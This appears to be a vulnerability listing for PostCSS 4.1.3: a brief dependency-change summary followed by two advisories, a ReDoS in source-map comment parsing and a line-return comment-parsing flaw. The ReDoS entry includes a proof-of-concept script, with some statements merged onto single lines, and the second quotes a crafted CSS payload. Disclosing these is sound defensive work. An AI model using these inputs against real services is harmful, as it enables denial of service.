PostCSS version 4.1.3 is a minor update to the popular CSS transformation tool, building upon version 4.1.2. Both versions share the same core dependencies like js-base64 and source-map, crucial for base64 encoding and accurate source mapping during CSS processing. Developers familiar with PostCSS will find the upgrade straightforward, as the fundamental functionality remains consistent.
The primary distinctions lie in the development dependencies, reflecting updates in the tooling ecosystem. Version 4.1.3 sees adjustments in babel (5.0.8 vs. 4.7.16), less (2.5.0 vs 2.4.0) and request (2.55.0 vs 2.54.0). gulp-babel also receives an update (5.0.0 vs 4.0.1) together with es6-promise (2.0.1), and browserify (9.0.7 vs 9.0.4).These changes likely incorporate bug fixes, performance improvements, or new features within those individual tools, indirectly benefiting PostCSS users by ensuring compatibility and optimized performance during development workflows.
Notably, the core functionality of PostCSS, its plugin architecture, and its core dependencies remain consistent, ensuring a smooth transition for existing users. The updated peer dependencies suggest a focus on maintaining compatibility with the evolving landscape of JavaScript build tools. While these changes might not be immediately apparent to all users, they contribute to the long-term stability and maintainability of PostCSS and its ecosystem.
All the vulnerabilities related to the version 4.1.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.